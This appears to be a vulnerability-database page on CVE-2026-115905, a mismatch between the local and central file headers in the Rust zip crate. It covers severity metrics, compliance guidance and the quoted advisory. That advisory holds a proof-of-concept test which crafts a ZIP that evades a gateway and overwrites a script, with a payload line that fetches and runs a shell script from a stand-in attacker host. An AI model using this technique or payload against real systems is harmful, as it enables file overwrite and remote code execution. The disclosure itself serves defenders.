CriticalCVE-2026-115905

    Zip-rs Zip2: Improper Input Validation (CVE-2026-115905)

    Published Last modified Sources: Msrc Update Guide, OSV, CVE.org, Hersteller

    What is affected, what to do

    Update Zip-rs Zip2 to version 9.0.5.

    Affected
    • Zip-rs Zip2 lt *..9.0.5
    Fixed in
    • Zip-rs Zip2 9.0.5

    Not sure whether and how you are affected? Ask a question about this vulnerability

    Metrics

    10.0

    Priority

    XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.

    Source: Vendor (CNA), CVSS v4

    10.0

    CVSS v4

    Severity Critical on the scale from 0 to 10.

    Source: Msrc Update Guide, OSV, CVE.org, Hersteller

    0.3 %

    EPSS score

    Low — model estimates < 1% exploitation likelihood.

    Source: FIRST EPSS, percentile 25.0

    Show all metrics
    Severity
    Critical
    Priority (0–325)

    The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?

    Read in glossary
    85.00 Methodology
    Exploit maturity

    An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.

    Read in glossary
    no public PoC known
    XIEM Effective CVSS

    XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.

    Read in glossary
    10.0 Methodology
    CVSS v4

    CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.

    Read in glossary
    10.0
    EPSS score

    The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.

    Read in glossary
    0.3 %
    Low — model estimates < 1% exploitation likelihood.
    EPSS percentile

    The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.

    Read in glossary
    25.0
    Elevated — this CVE ranks above at least 10% of all CVEs scored today.
    KEV status

    The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.

    Read in glossary
    —
    Published
    CWE

    CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.

    Read in glossary
    CWE-20, CWE-436

    Detection rules

    No NEOSEC detection rule is available for this vulnerability yet.

    Classification under NIS2 and CRA

    Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.

    NIS2

    NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.

    Read in glossary
    High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
    CRA

    The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.

    Read in glossary
    From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
    ISO/IEC 27001

    ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.

    Read in glossary
    Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.

    Description

    Summary

    A critical architectural parser differential exists in the zip crate (<= 9.0.4) between random-access archive readers (ZipArchive) and streaming readers (ZipStreamReader). ZipArchive considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, ZipStreamReader relies exclusively on the Local File Header (LFH) when extracting files to the filesystem.

    This discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them.


    Details

    Architectural Root Cause

    In the PKWARE ZIP archive format, every file entry is defined in two distinct locations:

    1. Local File Header (LFH): Precedes the compressed payload of each file in the body of the archive.
    2. Central Directory File Header (CDFH): Stored in a contiguous index at the end of the archive.

    In zip2:

    • src/read/zip_archive.rs: ZipArchive parses the central directory into SharedBuilder.files. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH.
    • src/read/stream.rs:L86-L141: ZipStreamReader::visit and ZipStreamReader::extract read sequentially from the stream without verifying the central directory index. Each entry is parsed via read_zipfile_from_stream and written to disk using the unverified filename declared in the LFH:
      // src/read/stream.rs
      fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> {
          file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?;
          let mut outfile = fs::File::create(&outpath)?;
          io::copy(file, &mut outfile)?;
          Ok(())
      }
      
    • src/write.rs:L1552: The crate explicitly exposes shallow_copy_file, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH.

    Threat Scenario & Severity Justification (10.0 / 9.9 Critical)

    1. Security Control Evasion: An adversary crafts a ZIP archive where:
      • Central Directory Header declares: doc_report.pdf (Clean document)
      • Local File Header declares: cron_worker.sh (Malicious root backdoor)
    2. The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using ZipArchive (or similar CDFH-first parsers), detects only doc_report.pdf, and approves the file.
    3. The backend worker or cloud function receives the approved archive and extracts it using ZipStreamReader::extract. ZipStreamReader reads the LFH and overwrites cron_worker.sh.
    4. Full Compromise (CIA = High): The legitimate production health checker / service script is destroyed (Availability = High / DoS), while the attacker's backdoor payload is implanted (Integrity = High / RCE).

    Proof of Concept

    The following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against zip2:

    use std::fs;
    use std::io::{Cursor, Write};
    use tempfile::tempdir;
    use zip::unstable::stream::ZipStreamReader;
    use zip::write::SimpleFileOptions;
    use zip::{ZipArchive, ZipWriter};
    
    // Simulated Security Gateway (inspects CDFH via ZipArchive)
    fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {
        let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();
        for i in 0..archive.len() {
            let name = archive.by_index(i).unwrap().name().unwrap().to_string();
            if name.ends_with(".sh") || name.ends_with(".exe") {
                return Err(format!("MALWARE DETECTED: '{}' blocked!", name));
            }
            if !name.ends_with(".pdf") {
                return Err("Policy violation: only PDFs allowed!".into());
            }
        }
        Ok(())
    }
    
    #[test]
    fn test_cvss_9_9_dual_header_exploit_chain() {
        // 1. Victim server setup: existing critical script
        let victim_env = tempdir().unwrap();
        let victim_dir = victim_env.path();
        let target_script = victim_dir.join("cron_worker.sh");
        fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap();
    
        // 2. Attacker crafts Single-Entry Dual-Header Archive
        // LFH: "cron_worker.sh" | CDFH: "doc_report.pdf"
        let mut payload = Cursor::new(Vec::new());
        let mut writer = ZipWriter::new(&mut payload);
        writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap();
        writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap();
        writer.finish().unwrap();
    
        let mut malicious_zip = payload.into_inner();
        let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap();
        malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf");
    
        // 3. Gateway Inspection (Bypassed!)
        assert!(security_gateway_inspection(&malicious_zip).is_ok());
    
        // 4. Backend Extraction (ZipStreamReader)
        ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();
    
        // 5. Impact Verification
        let compromised = fs::read_to_string(&target_script).unwrap();
        assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed
        assert!(compromised.contains("PWNED ROOT"));       // RCE Confirmed
    }
    

    Verified Test Execution Output

    running 1 test
    ==================================================================
    Dual-Header Security Gateway Evasion
    Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS
    ==================================================================
    [VICTIM SERVER STATE - BEFORE ATTACK]
    Existing Content:
    SERVICE IS RUNNING NORMALLY
    
    --- [STEP 1: SECURITY GATEWAY INSPECTION] ---
    [SECURITY GATEWAY] Auditing entry #0: 'doc_report.pdf'
    [GATEWAY VERDICT]: Ok(())
    [VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!
    
    --- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---
    Backend server unzips approved archive into production directory.
    
    --- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---
    [VICTIM SERVER STATE - AFTER ATTACK]
    Compromised Content:
    curl -s https://attacker.c2/shell | sh
    echo 'PWNED: FULL ROOT TAKEOVER'
    

    Impact

    An attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa.

    Who is Impacted:

    • Automated ingestion microservices, SaaS platforms, and backend workers that extract user-submitted ZIP files.
    • Enterprise architectures where security verification (AV scanning, extension whitelisting) is decoupled from extraction (e.g. gateway audits Central Directory via CDFH before handing off extraction to streaming extractors).
    • Containerized workloads where overwriting local configuration files or executable scripts leads to host/container escape and complete service disruption.

    Source: Microsoft Security Update Guide, OSV (Open Source Vulnerabilities), NVD (NIST), GitHub Security Advisories, cvelistv5

    Affected products

    The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.

    Affected products
    Affected versionsFixed in
    zip-rszip2
    • < 9.0.5
    • 9.0.5
    crates.iozip
    • —
    • 9.0.5
    rustzip
    • <= 9.0.4
    • 9.0.5

    Vendors and products

    Weakness classes (CWE)

    • CWE-20Improper Input Validation

      Class

      The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

      Entry at MITRE CWE-20
    • CWE-436Interpretation Conflict

      Class

      Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.

      Entry at MITRE CWE-436

    References & sources

    • github.comzip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443ex_refsource_MISC, web
    • github.comzip-rs/zip2/releases/tag/v9.0.5x_refsource_MISC, web
    • github.comzip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grjx_refsource_CONFIRM, web
    • NVD (NIST)vuln/detail/CVE-2026-115905advisory
    • github.comzip-rs/zip2package

    Changes to this CVE

    Who changed this CVE and when: NVD (analysis, affected products, CVSS), the CVE publisher (CNA) and additional providers such as CISA (ADP).

    1. ReceivedGitHub

      CVSS V4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L

      Weakness type: CWE-20, CWE-436

      Description added or changed

      Show 8 original changes
      Individual changes of this event as published by NVD
      TypeActionBeforeAfter
      Descriptionadded
      —
      zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames without reconciling the duplicate metadata in src/read/stream.rs. A crafted archive can therefore appear benign to a component that inspects the central directory but cause a streaming extractor to write a different attacker-selected path and content, potentially overwriting files used by a downstream service. This issue is fixed in version 9.0.5.
      CVSSadded
      —
      AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
      Weakness type (CWE)added
      —
      CWE-20
      Weakness type (CWE)added
      —
      CWE-436
      Affected versions (publisher)added
      —
      New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/115xxx/CVE-2026-115905.json">CVE-2026-115905</a>
      Referenceadded
      —
      https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e
      Referenceadded
      —
      https://github.com/zip-rs/zip2/releases/tag/v9.0.5
      Referenceadded
      —
      https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj

      Source identifier: security-advisories@github.com

    Embed badge

    Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.

    Badge preview for CVE-2026-115905
    <a href="https://intel.neosec.eu/en/cve/CVE-2026-115905"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-115905.svg?lang=en" alt="CVE-2026-115905 – NEOSEC Intel" height="20"></a>